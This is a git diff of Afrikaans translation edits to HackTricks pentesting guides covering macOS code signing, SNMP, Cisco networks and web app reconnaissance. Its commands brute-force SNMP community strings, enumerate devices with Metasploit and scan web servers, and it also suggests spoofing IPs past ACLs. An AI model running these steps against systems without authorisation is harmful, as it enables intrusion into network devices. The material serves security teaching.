* **`kSecCSSigningInformation`**: Vlag wat gebruik word om aan te dui dat handtekening inligting verkry moet word.
|
||||
|
||||
## Kode Handtekening Afforcing
|
||||
|
||||
Die **kernel** is die een wat **die kode handtekening nagaan** voordat dit die kode van die app toelaat om uit te voer. Boonop, een manier om in geheue nuwe kode te kan skryf en uit te voer, is om JIT te misbruik as `mprotect` met `MAP_JIT` vlag aangeroep word. Let daarop dat die toepassing 'n spesiale regte benodig om dit te kan doen.
|
||||
|
||||
## `cs_blobs` & `cs_blob`
|
||||
|
||||
[**cs\_blob**](https://github.com/apple-oss-distributions/xnu/blob/94d3b452840153a99b38a3a9659680b2a006908e/bsd/sys/ubc\_internal.h#L106) struktuur bevat die inligting oor die regte van die lopende proses daarop. `csb_platform_binary` dui ook aan of die toepassing 'n platform binêre is (wat op verskillende tye deur die OS nagegaan word om sekuriteitsmeganismes toe te pas soos om die SEND regte na die taakpoorte van hierdie prosesse te beskerm).
|
||||
```c
|
||||
struct cs_blob {
|
||||
struct cs_blob *csb_next;
|
||||
vnode_t csb_vnode;
|
||||
void *csb_ro_addr;
|
||||
__xnu_struct_group(cs_cpu_info, csb_cpu_info, {
|
||||
cpu_type_t csb_cpu_type;
|
||||
cpu_subtype_t csb_cpu_subtype;
|
||||
});
|
||||
__xnu_struct_group(cs_signer_info, csb_signer_info, {
|
||||
unsigned int csb_flags;
|
||||
unsigned int csb_signer_type;
|
||||
});
|
||||
off_t csb_base_offset; /* Offset of Mach-O binary in fat binary */
|
||||
off_t csb_start_offset; /* Blob coverage area start, from csb_base_offset */
|
||||
off_t csb_end_offset; /* Blob coverage area end, from csb_base_offset */
|
||||
vm_size_t csb_mem_size;
|
||||
vm_offset_t csb_mem_offset;
|
||||
void *csb_mem_kaddr;
|
||||
unsigned char csb_cdhash[CS_CDHASH_LEN];
|
||||
const struct cs_hash *csb_hashtype;
|
||||
#if CONFIG_SUPPLEMENTAL_SIGNATURES
|
||||
unsigned char csb_linkage[CS_CDHASH_LEN];
|
||||
const struct cs_hash *csb_linkage_hashtype;
|
||||
#endif
|
||||
int csb_hash_pageshift;
|
||||
int csb_hash_firstlevel_pageshift; /* First hash this many bytes, then hash the hashes together */
|
||||
const CS_CodeDirectory *csb_cd;
|
||||
const char *csb_teamid;
|
||||
#if CONFIG_SUPPLEMENTAL_SIGNATURES
|
||||
char *csb_supplement_teamid;
|
||||
#endif
|
||||
const CS_GenericBlob *csb_entitlements_blob; /* raw blob, subrange of csb_mem_kaddr */
|
||||
const CS_GenericBlob *csb_der_entitlements_blob; /* raw blob, subrange of csb_mem_kaddr */
|
||||
|
||||
/*
|
||||
* OSEntitlements pointer setup by AMFI. This is PAC signed in addition to the
|
||||
* cs_blob being within RO-memory to prevent modifications on the temporary stack
|
||||
* variable used to setup the blob.
|
||||
*/
|
||||
void *XNU_PTRAUTH_SIGNED_PTR("cs_blob.csb_entitlements") csb_entitlements;
|
||||
|
||||
unsigned int csb_reconstituted; /* signature has potentially been modified after validation */
|
||||
__xnu_struct_group(cs_blob_platform_flags, csb_platform_flags, {
|
||||
/* The following two will be replaced by the csb_signer_type. */
|
||||
unsigned int csb_platform_binary:1;
|
||||
unsigned int csb_platform_path:1;
|
||||
});
|
||||
|
||||
/* Validation category used for TLE */
|
||||
unsigned int csb_validation_category;
|
||||
|
||||
#if CODE_SIGNING_MONITOR
|
||||
void *XNU_PTRAUTH_SIGNED_PTR("cs_blob.csb_csm_obj") csb_csm_obj;
|
||||
bool csb_csm_managed;
|
||||
#endif
|
||||
};
|
||||
```
|
||||
## Verwysings
|
||||
|
||||
* [**\*OS Internals Volume III**](https://newosxbook.com/home.html)
|
||||
|
||||
{% hint style="success" %}
|
||||
Leer & oefen AWS Hacking:<img src="../../../.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Opleiding AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../../.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Leer & oefen GCP Hacking: <img src="../../../.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Opleiding GCP Red Team Expert (GRTE)**<img src="../../../.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary>Ondersteun HackTricks</summary>
|
||||
|
||||
* Kyk na die [**subskripsie planne**](https://github.com/sponsors/carlospolop)!
|
||||
* **Sluit aan by die** 💬 [**Discord groep**](https://discord.gg/hRep4RUj7f) of die [**telegram groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Deel hacking truuks deur PRs in te dien na die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
|
@ -8,14 +8,14 @@ Leer & oefen GCP Hacking: <img src="../../.gitbook/assets/grte.png" alt="" data-
|
|||
|
||||
<summary>Ondersteun HackTricks</summary>
|
||||
|
||||
* Kyk na die [**subskripsieplanne**](https://github.com/sponsors/carlospolop)!
|
||||
* **Sluit aan by die** 💬 [**Discord-groep**](https://discord.gg/hRep4RUj7f) of die [**telegram-groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* Kyk na die [**subskripsie planne**](https://github.com/sponsors/carlospolop)!
|
||||
* **Sluit aan by die** 💬 [**Discord groep**](https://discord.gg/hRep4RUj7f) of die [**telegram groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Deel hacking truuks deur PRs in te dien na die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
||||
<figure><img src="../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
As jy belangstel in 'n **hacking loopbaan** en om die onhackbare te hack - **ons is op soek na personeel!** (_vloeiend in Pools, geskryf en gesproke, vereis_).
|
||||
|
||||
|
@ -34,7 +34,7 @@ SNMP gebruik ook die poort **162/UDP** vir **traps**. Dit is data **pakkette wat
|
|||
|
||||
### MIB
|
||||
|
||||
Om te verseker dat SNMP-toegang werk oor vervaardigers en met verskillende kliënt-bediener kombinasies, is die **Management Information Base (MIB)** geskep. MIB is 'n **onafhanklike formaat vir die stoor van toestel-inligting**. 'n MIB is 'n **teks** lêer waarin al die navraagbare **SNMP-objekte** van 'n toestel in 'n **gestandaardiseerde** boomhiërargie gelys word. Dit bevat ten minste een `Object Identifier` (`OID`), wat, benewens die nodige **unieke adres** en 'n **naam**, ook inligting verskaf oor die tipe, toegangregte, en 'n beskrywing van die onderskeie objek.\
|
||||
Om te verseker dat SNMP-toegang oor vervaardigers en met verskillende kliënt-bediener kombinasies werk, is die **Management Information Base (MIB)** geskep. MIB is 'n **onafhanklike formaat vir die stoor van toestel-inligting**. 'n MIB is 'n **teks** lêer waarin al die navraagbare **SNMP-objekte** van 'n toestel in 'n **gestandaardiseerde** boomhiërargie gelys word. Dit bevat ten minste een `Object Identifier` (`OID`), wat, benewens die nodige **unieke adres** en 'n **naam**, ook inligting oor die tipe, toegangregte, en 'n beskrywing van die onderskeie objek verskaf.\
|
||||
MIB-lêers is geskryf in die `Abstract Syntax Notation One` (`ASN.1`) gebaseerde ASCII teksformaat. Die **MIBs bevat nie data nie**, maar hulle verduidelik **waar om watter inligting te vind** en hoe dit lyk, wat waardes vir die spesifieke OID teruggee, of watter datatipe gebruik word.
|
||||
|
||||
### OIDs
|
||||
|
@ -48,7 +48,7 @@ Verder word verskaffers die vryheid gegee om private takke te vestig. Binne hier
|
|||
![](<../../.gitbook/assets/SNMP\_OID\_MIB\_Tree (1).png>)
|
||||
|
||||
Jy kan **navigeer** deur 'n **OID-boom** vanaf die web hier: [http://www.oid-info.com/cgi-bin/display?tree=#focus](http://www.oid-info.com/cgi-bin/display?tree=#focus) of **sien wat 'n OID beteken** (soos `1.3.6.1.2.1.1`) deur toegang te verkry tot [http://oid-info.com/get/1.3.6.1.2.1.1](http://oid-info.com/get/1.3.6.1.2.1.1).\
|
||||
Daar is 'n paar **goed bekende OIDs** soos diegene binne [1.3.6.1.2.1](http://oid-info.com/get/1.3.6.1.2.1) wat MIB-2 gedefinieerde Simple Network Management Protocol (SNMP) veranderlikes verwys. En van die **OIDs wat van hierdie een hang** kan jy 'n paar interessante gasheerdata verkry (stelseldatas, netwerkdata, prosesdata...)
|
||||
Daar is 'n paar **bekende OIDs** soos die wat binne [1.3.6.1.2.1](http://oid-info.com/get/1.3.6.1.2.1) verwys na MIB-2 gedefinieerde Simple Network Management Protocol (SNMP) veranderlikes. En van die **OIDs wat van hierdie een hang** kan jy 'n paar interessante gasheerdata verkry (stelseldatas, netwerkdata, prosesdata...)
|
||||
|
||||
### **OID Voorbeeld**
|
||||
|
||||
|
@ -98,7 +98,7 @@ Daar is **2 tipes gemeenskapsstrings**:
|
|||
* **`public`** hoofsaaklik **lees net** funksies
|
||||
* **`private`** **Lees/Skryf** in die algemeen
|
||||
|
||||
Let daarop dat **die skryfbaarheid van 'n OID afhang van die gemeenskapsstring wat gebruik word**, so **selfs** as jy vind dat "**public**" gebruik word, kan jy dalk **sekere waardes skryf.** Ook, daar **kan** objekte wees wat **altyd "Lees Net"** is.\
|
||||
Let daarop dat **die skryfbaarheid van 'n OID afhang van die gemeenskapsstring wat gebruik word**, so **selfs** as jy vind dat "**public**" gebruik word, kan jy dalk **sekere waardes skryf.** Ook, daar **kan** voorwerpe wees wat **altyd "Lees Net"** is.\
|
||||
As jy probeer om 'n objek te **skryf**, sal 'n **`noSuchName` of `readOnly` fout** ontvang word\*\*.\*\*
|
||||
|
||||
In weergawes 1 en 2/2c, as jy 'n **slegte** gemeenskapsstring gebruik, sal die bediener nie **reageer** nie. So, as dit reageer, is 'n **geldige gemeenskapsstring gebruik**.
|
||||
|
@ -109,7 +109,7 @@ In weergawes 1 en 2/2c, as jy 'n **slegte** gemeenskapsstring gebruik, sal die b
|
|||
|
||||
* Die SNMP-agent ontvang versoeke op UDP-poort **161**.
|
||||
* Die bestuurder ontvang kennisgewings ([Traps](https://en.wikipedia.org/wiki/Simple\_Network\_Management\_Protocol#Trap) en [InformRequests](https://en.wikipedia.org/wiki/Simple\_Network\_Management\_Protocol#InformRequest)) op poort **162**.
|
||||
* Wanneer dit gebruik word met [Transport Layer Security](https://en.wikipedia.org/wiki/Transport\_Layer\_Security) of [Datagram Transport Layer Security](https://en.wikipedia.org/wiki/Datagram\_Transport\_Layer\_Security), word versoeke ontvang op poort **10161** en kennisgewings word gestuur na poort **10162**.
|
||||
* Wanneer dit saam met [Transport Layer Security](https://en.wikipedia.org/wiki/Transport\_Layer\_Security) of [Datagram Transport Layer Security](https://en.wikipedia.org/wiki/Datagram\_Transport\_Layer\_Security) gebruik word, word versoeke op poort **10161** ontvang en kennisgewings word na poort **10162** gestuur.
|
||||
|
||||
## Brute-Force Gemeenskapsstring (v1 en v2c)
|
||||
|
||||
|
@ -197,7 +197,7 @@ As jy die **string** het wat jou toelaat om **waardes** binne die SNMP-diens te
|
|||
|
||||
Braa implementeer sy EIE snmp-stapel, so dit het GEEN SNMP biblioteke soos net-snmp nodig nie.
|
||||
|
||||
**Sintaksis:** braa \[Gemeenskapsstring]@\[IP van SNMP bediener]:\[iso id]
|
||||
**Sintaksis:** braa \[Gemeenskaps-string\]@\[\[IP van SNMP bediener\]:\[iso id\]
|
||||
```bash
|
||||
braa ignite123@192.168.1.125:.1.3.6.*
|
||||
```
|
||||
|
@ -213,7 +213,7 @@ grep ".1.3.6.1.2.1.1.1.0" *.snmp
|
|||
```
|
||||
### **Identifiseer Privaat String**
|
||||
|
||||
'n Belangrike stap behels die identifisering van die **privaat gemeenskap string** wat deur organisasies gebruik word, veral op Cisco IOS routers. Hierdie string stel die onttrekking van **lopende konfigurasies** van routers in staat. Die identifisering staat dikwels op die analise van SNMP Trap data vir die woord "trap" met 'n **grep command**:
|
||||
'n Belangrike stap behels die identifisering van die **privaat gemeenskap string** wat deur organisasies gebruik word, veral op Cisco IOS-ruters. Hierdie string stel die onttrekking van **lopende konfigurasies** van ruters in staat. Die identifisering staat dikwels op die analise van SNMP Trap-data vir die woord "trap" met 'n **grep-opdrag**:
|
||||
```bash
|
||||
grep -i "trap" *.snmp
|
||||
```
|
||||
|
@ -235,7 +235,7 @@ You can use _**NetScanTools**_ to **modify values**. You will need to know the *
|
|||
|
||||
## Spoofing
|
||||
|
||||
If there is an ACL that only allows some IPs to query the SMNP service, you can spoof one of these addresses inside the UDP packet and sniff the traffic.
|
||||
If there is an ACL that only allows some IPs to query the SMNP service, you can spoof one of this addresses inside the UDP packet an sniff the traffic.
|
||||
|
||||
## Examine SNMP Configuration files
|
||||
|
||||
|
@ -243,9 +243,9 @@ If there is an ACL that only allows some IPs to query the SMNP service, you can
|
|||
* snmpd.conf
|
||||
* snmp-config.xml
|
||||
|
||||
<figure><img src="../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
If you are interested in **hacking career** and hack the unhackable - **we are hiring!** (_vloeiende Pools geskryf en gesproke vereis_).
|
||||
If you are interested in **hacking career** and hack the unhackable - **we are hiring!** (_vloeiend Pools geskryf en gesproke vereis_).
|
||||
|
||||
{% embed url="https://www.stmcyber.com/careers" %}
|
||||
|
||||
|
|
|
@ -8,14 +8,14 @@ Leer & oefen GCP Hacking: <img src="../../.gitbook/assets/grte.png" alt="" data-
|
|||
|
||||
<summary>Ondersteun HackTricks</summary>
|
||||
|
||||
* Kyk na die [**subskripsie planne**](https://github.com/sponsors/carlospolop)!
|
||||
* **Sluit aan by die** 💬 [**Discord groep**](https://discord.gg/hRep4RUj7f) of die [**telegram groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* Kyk na die [**subskripsieplanne**](https://github.com/sponsors/carlospolop)!
|
||||
* **Sluit aan by die** 💬 [**Discord-groep**](https://discord.gg/hRep4RUj7f) of die [**telegram-groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Deel hacking truuks deur PRs in te dien na die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
||||
<figure><img src="../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
As jy belangstel in 'n **hacking loopbaan** en om die onhackbare te hack - **ons is op soek na mense!** (_vloeiend in geskryf en gesproke Pools vereis_).
|
||||
|
||||
|
@ -23,9 +23,9 @@ As jy belangstel in 'n **hacking loopbaan** en om die onhackbare te hack - **ons
|
|||
|
||||
## Pentesting Cisco Netwerke
|
||||
|
||||
**SNMP** funksioneer oor UDP met poorte 161/UDP vir algemene boodskappe en 162/UDP vir valboodskappe. Hierdie protokol staat op gemeenskapsstringe, wat as wagwoorde dien wat kommunikasie tussen SNMP-agente en bedieners moontlik maak. Hierdie stringe is van kardinale belang omdat hulle toegangsvlakke bepaal, spesifiek **slegs lees (RO) of lees-skrif (RW) toestemmings**. 'n Opmerkelijke aanvalsvlak vir pentesters is die **brute-forcing van gemeenskapsstringe**, met die doel om netwerktoestelle binne te dring.
|
||||
**SNMP** funksioneer oor UDP met poorte 161/UDP vir algemene boodskappe en 162/UDP vir valboodskappe. Hierdie protokol staat op gemeenskapsstringe, wat as wagwoorde dien wat kommunikasie tussen SNMP-agente en bedieners moontlik maak. Hierdie stringe is van kardinale belang omdat hulle toegangsvlakke bepaal, spesifiek **slegs lees (RO) of lees-skrif (RW) regte**. 'n Opmerkelijke aanvalsvlak vir pentesters is die **brute-forcing van gemeenskapsstringe**, met die doel om netwerktoestelle binne te dring.
|
||||
|
||||
'n Praktiese hulpmiddel om sulke brute-force aanvalle uit te voer is [**onesixtyone**](https://github.com/trailofbits/onesixtyone), wat 'n lys van potensiële gemeenskapsstringe en die IP-adresse van die teikens vereis:
|
||||
'n Praktiese hulpmiddel om sulke brute-force-aanvalle uit te voer is [**onesixtyone**](https://github.com/trailofbits/onesixtyone), wat 'n lys van potensiële gemeenskapsstringe en die IP-adresse van die teikens benodig:
|
||||
```bash
|
||||
onesixtyone -c communitystrings -i targets
|
||||
```
|
||||
|
@ -38,7 +38,7 @@ Die Metasploit-raamwerk bevat die `cisco_config_tftp` module, wat die ekstraksie
|
|||
* Teiken toestel se IP (**RHOSTS**)
|
||||
* Bestemmingspad vir die konfigurasie lêers (**OUTPUTDIR**)
|
||||
|
||||
Na konfigurasie, stel hierdie module die aflaai van toestelinstellings direk na 'n gespesifiseerde gids moontlik.
|
||||
Na konfigurasie, stel hierdie module die aflaai van toestelinstellings direk na 'n gespesifiseerde gids in.
|
||||
|
||||
#### `snmp_enum`
|
||||
|
||||
|
@ -52,9 +52,9 @@ msf6 auxiliary(scanner/snmp/snmp_enum) > exploit
|
|||
|
||||
* [https://medium.com/@in9uz/cisco-nightmare-pentesting-cisco-networks-like-a-devil-f4032eb437b9](https://medium.com/@in9uz/cisco-nightmare-pentesting-cisco-networks-like-a-devil-f4032eb437b9)
|
||||
|
||||
<figure><img src="../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
As jy belangstel in **hacking loopbaan** en om die onhackable te hack - **ons huur aan!** (_vloeiend Pools geskryf en gesproke vereis_).
|
||||
As jy belangstel in **hacking loopbaan** en die onhackbare hack - **ons huur aan!** (_vloeiend Pools geskryf en gesproke vereis_).
|
||||
|
||||
{% embed url="https://www.stmcyber.com/careers" %}
|
||||
|
||||
|
|
|
@ -15,15 +15,15 @@ Leer & oefen GCP Hacking: <img src="../../.gitbook/assets/grte.png" alt="" data-
|
|||
</details>
|
||||
{% endhint %}
|
||||
|
||||
<figure><img src="../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
As jy belangstel in 'n **hacking loopbaan** en die onhackbare hack - **ons is op soek na mense!** (_vloeiend in geskryf en gesproke Pools vereis_).
|
||||
As jy belangstel in 'n **hacking loopbaan** en die onhackbare hack - **ons is op soek na mense!** (_vloeiend in Pools, geskryf en gesproke, vereis_).
|
||||
|
||||
{% embed url="https://www.stmcyber.com/careers" %}
|
||||
|
||||
## Basiese Inligting
|
||||
|
||||
Die webdiens is die mees **gewone en uitgebreide diens** en daar bestaan 'n baie **verskillende tipes kwesbaarhede**.
|
||||
Die webdiens is die mees **gewone en uitgebreide diens** en 'n baie **verskillende tipes kwesbaarhede** bestaan.
|
||||
|
||||
**Standaard poort:** 80 (HTTP), 443(HTTPS)
|
||||
```bash
|
||||
|
@ -50,7 +50,7 @@ openssl s_client -connect domain.com:443 # GET / HTTP/1.0
|
|||
* [ ] Enige **bekende kwesbaarheid** van die weergawe van die tegnologie?
|
||||
* [ ] Gebruik enige **bekende tegnologie**? Enige **nuttige truuk** om meer inligting te onttrek?
|
||||
* [ ] Enige **gespesialiseerde skandeerder** om te loop (soos wpscan)?
|
||||
* [ ] Begin **algemene doeleindes skandeerders**. Jy weet nooit of hulle iets gaan vind of as hulle interessante inligting gaan vind nie.
|
||||
* [ ] Begin **algemene doeleindes skandeerders**. Jy weet nooit of hulle iets gaan vind of of hulle interessante inligting gaan vind nie.
|
||||
* [ ] Begin met die **begin kontroles**: **robots**, **sitemap**, **404** fout en **SSL/TLS skandering** (as HTTPS).
|
||||
* [ ] Begin met **spidering** van die webblad: Dit is tyd om **te vind** al die moontlike **lêers, vouers** en **parameters wat gebruik word.** Kyk ook vir **spesiale bevindings**.
|
||||
* [ ] _Let daarop dat enige tyd 'n nuwe gids ontdek word tydens brute-forcing of spidering, dit moet gespider word._
|
||||
|
@ -118,7 +118,7 @@ Sommige **truuks** vir **die vind van kwesbaarhede** in verskillende bekende **t
|
|||
* [**Electron Desktop (XSS na RCE)**](electron-desktop-apps/)
|
||||
|
||||
_Hou in gedagte dat die **selfde domein** **verskillende tegnologieë** in verskillende **poorte**, **mappes** en **subdomeine** kan gebruik._\
|
||||
As die webtoepassing enige bekende **tegnologie/platform wat voorheen gelys is** of **enige ander** gebruik, moenie vergeet om **op die Internet** na nuwe truuks te **soek** (en laat weet my!).
|
||||
As die webtoepassing enige bekende **tegnologie/platform wat voorheen gelys is** of **enige ander** gebruik, moenie vergeet om **op die Internet** nuwe truuks te **soek** (en laat my weet!).
|
||||
|
||||
### Bronkode Hersiening
|
||||
|
||||
|
@ -137,7 +137,7 @@ As die **bronkode** van die toepassing beskikbaar is in **github**, benewens om
|
|||
|
||||
### Outomatiese skandeerders
|
||||
|
||||
#### Algemene doeleindes outomatiese skandeerders
|
||||
#### Algemene doel outomatiese skandeerders
|
||||
```bash
|
||||
nikto -h <URL>
|
||||
whatweb -a 4 <URL>
|
||||
|
@ -183,7 +183,7 @@ joomlavs.rb #https://github.com/rastating/joomlavs
|
|||
|
||||
**Dwing foute**
|
||||
|
||||
Webbedieners mag **onverwagte gedrag** vertoon wanneer vreemde data na hulle gestuur word. Dit kan **kwesbaarhede** of **sensitiewe inligting openbaar**.
|
||||
Webbedieners kan **onverwagte gedrag** vertoon wanneer vreemde data na hulle gestuur word. Dit kan **kwesbaarhede** of **sensitiewe inligting openbaar**.
|
||||
|
||||
* Toegang tot **valse bladsye** soos /whatever\_fake.php (.aspx,.html,.ens)
|
||||
* **Voeg "\[]", "]]", en "\[\["** in **koekie waardes** en **parameter** waardes by om foute te skep
|
||||
|
@ -195,14 +195,14 @@ Webbedieners mag **onverwagte gedrag** vertoon wanneer vreemde data na hulle ges
|
|||
As jy vind dat **WebDav** **geaktiveer** is, maar jy nie genoeg regte het om **lêers op te laai** in die wortelgids nie, probeer om:
|
||||
|
||||
* **Brute Force** akrediteer
|
||||
* **Laai lêers op** via WebDav na die **oorblywende** **gevonde gidse** binne die webblad. Jy mag regte hê om lêers in ander gidse op te laai.
|
||||
* **Lêers op te laai** via WebDav na die **oorblywende** **gevonde gidse** binne die webblad. Jy mag regte hê om lêers in ander gidse op te laai.
|
||||
|
||||
### **SSL/TLS kwesbaarhede**
|
||||
|
||||
* As die toepassing **nie die gebruiker van HTTPS dwing** nie, dan is dit **kwesbaar vir MitM**
|
||||
* As die toepassing **sensitiewe data (wagwoorde) via HTTP stuur**. Dan is dit 'n hoë kwesbaarheid.
|
||||
|
||||
Gebruik [**testssl.sh**](https://github.com/drwetter/testssl.sh) om te kontroleer vir **kwesbaarhede** (In Bug Bounty programme sal hierdie tipe kwesbaarhede waarskynlik nie aanvaar word nie) en gebruik [**a2sv** ](https://github.com/hahwul/a2sv) om die kwesbaarhede weer te kontroleer:
|
||||
Gebruik [**testssl.sh**](https://github.com/drwetter/testssl.sh) om te kontroleer vir **kwesbaarhede** (In Bug Bounty programme sal hierdie soort kwesbaarhede waarskynlik nie aanvaar word nie) en gebruik [**a2sv** ](https://github.com/hahwul/a2sv) om die kwesbaarhede weer te kontroleer:
|
||||
```bash
|
||||
./testssl.sh [--htmlfile] 10.10.10.10:443
|
||||
#Use the --htmlfile to save the output inside an htmlfile also
|
||||
|
@ -218,13 +218,13 @@ Inligting oor SSL/TLS kwesbaarhede:
|
|||
|
||||
### Spidering
|
||||
|
||||
Begin 'n soort **spider** binne die web. Die doel van die spider is om **soveel moontlike paaie** van die getoetste toepassing te **vind**. Daarom moet webkruip en eksterne bronne gebruik word om soveel geldige paaie as moontlik te vind.
|
||||
Begin 'n soort **spider** binne die web. Die doel van die spider is om **soveel paaie as moontlik** van die getoetste toepassing te **vind**. Daarom moet webkruip en eksterne bronne gebruik word om soveel geldige paaie as moontlik te vind.
|
||||
|
||||
* [**gospider**](https://github.com/jaeles-project/gospider) (go): HTML spider, LinkFinder in JS-lêers en eksterne bronne (Archive.org, CommonCrawl.org, VirusTotal.com, AlienVault.com).
|
||||
* [**hakrawler**](https://github.com/hakluke/hakrawler) (go): HML spider, met LinkFider vir JS-lêers en Archive.org as eksterne bron.
|
||||
* [**dirhunt**](https://github.com/Nekmo/dirhunt) (python): HTML spider, dui ook "juicy files" aan.
|
||||
* [**evine** ](https://github.com/saeeddhqan/evine)(go): Interaktiewe CLI HTML spider. Dit soek ook in Archive.org.
|
||||
* [**meg**](https://github.com/tomnomnom/meg) (go): Hierdie hulpmiddel is nie 'n spider nie, maar dit kan nuttig wees. Jy kan net 'n lêer met hosts en 'n lêer met paaie aandui en meg sal elke pad op elke gasheer haal en die antwoord stoor.
|
||||
* [**meg**](https://github.com/tomnomnom/meg) (go): Hierdie hulpmiddel is nie 'n spider nie, maar dit kan nuttig wees. Jy kan net 'n lêer met gasheer en 'n lêer met paaie aandui en meg sal elke pad op elke gasheer haal en die antwoord stoor.
|
||||
* [**urlgrab**](https://github.com/IAmStoxe/urlgrab) (go): HTML spider met JS-rendering vermoëns. Dit lyk egter of dit nie meer onderhou word nie, die vooraf saamgestelde weergawe is oud en die huidige kode compileer nie.
|
||||
* [**gau**](https://github.com/lc/gau) (go): HTML spider wat eksterne verskaffers gebruik (wayback, otx, commoncrawl).
|
||||
* [**ParamSpider**](https://github.com/devanshbatham/ParamSpider): Hierdie skrip sal URL's met parameters vind en dit lys.
|
||||
|
@ -232,25 +232,25 @@ Begin 'n soort **spider** binne die web. Die doel van die spider is om **soveel
|
|||
* [**LinkFinder**](https://github.com/GerbenJavado/LinkFinder) (python): HTML spider, met JS beautify vermoëns wat in staat is om nuwe paaie in JS-lêers te soek. Dit kan ook die moeite werd wees om na [JSScanner](https://github.com/dark-warlord14/JSScanner) te kyk, wat 'n wrapper van LinkFinder is.
|
||||
* [**goLinkFinder**](https://github.com/0xsha/GoLinkFinder) (go): Om eindpunte in beide HTML-bron en ingebedde javascript-lêers te onttrek. Nuttig vir foutjagters, rooi spanlede, infosec ninjas.
|
||||
* [**JSParser**](https://github.com/nahamsec/JSParser) (python2.7): 'n Python 2.7 skrip wat Tornado en JSBeautifier gebruik om relatiewe URL's uit JavaScript-lêers te parse. Nuttig om AJAX-versoeke maklik te ontdek. Dit lyk of dit nie meer onderhou word nie.
|
||||
* [**relative-url-extractor**](https://github.com/jobertabma/relative-url-extractor) (ruby): Gegee 'n lêer (HTML) sal dit URL's daaruit onttrek met behulp van 'n slim regulêre uitdrukking om die relatiewe URL's uit lelike (minify) lêers te vind en onttrek.
|
||||
* [**relative-url-extractor**](https://github.com/jobertabma/relative-url-extractor) (ruby): Gegewe 'n lêer (HTML) sal dit URL's daaruit onttrek met behulp van 'n slim regulêre uitdrukking om die relatiewe URL's uit lelike (minify) lêers te vind en onttrek.
|
||||
* [**JSFScan**](https://github.com/KathanP19/JSFScan.sh) (bash, verskeie hulpmiddels): Verskaf interessante inligting uit JS-lêers met behulp van verskeie hulpmiddels.
|
||||
* [**subjs**](https://github.com/lc/subjs) (go): Vind JS-lêers.
|
||||
* [**page-fetch**](https://github.com/detectify/page-fetch) (go): Laai 'n bladsy in 'n headless-browsers en druk al die URL's wat gelaai is om die bladsy te laai.
|
||||
* [**Feroxbuster**](https://github.com/epi052/feroxbuster) (rust): Inhoud ontdekking hulpmiddel wat verskeie opsies van die vorige hulpmiddels meng.
|
||||
* [**Javascript Parsing**](https://github.com/xnl-h4ck3r/burp-extensions): 'n Burp-uitbreiding om paaie en params in JS-lêers te vind.
|
||||
* [**Sourcemapper**](https://github.com/denandz/sourcemapper): 'n hulpmiddel wat gegee die .js.map URL jou die beautified JS-kode sal gee.
|
||||
* [**Javascript Parsing**](https://github.com/xnl-h4ck3r/burp-extensions): 'n Burp-uitbreiding om pad en params in JS-lêers te vind.
|
||||
* [**Sourcemapper**](https://github.com/denandz/sourcemapper): 'n hulpmiddel wat gegewe die .js.map URL die geoptimaliseerde JS-kode sal kry.
|
||||
* [**xnLinkFinder**](https://github.com/xnl-h4ck3r/xnLinkFinder): Dit is 'n hulpmiddel wat gebruik word om eindpunte vir 'n gegewe teiken te ontdek.
|
||||
* [**waymore**](https://github.com/xnl-h4ck3r/waymore)**:** Ontdek skakels van die wayback masjien (ook die antwoorde in die wayback aflaai en na meer skakels soek).
|
||||
* [**waymore**](https://github.com/xnl-h4ck3r/waymore)**:** Ontdek skakels van die wayback-masjien (ook die antwoorde in die wayback aflaai en na meer skakels soek).
|
||||
* [**HTTPLoot**](https://github.com/redhuntlabs/HTTPLoot) (go): Kruip (selfs deur vorms in te vul) en vind ook sensitiewe inligting met behulp van spesifieke regexes.
|
||||
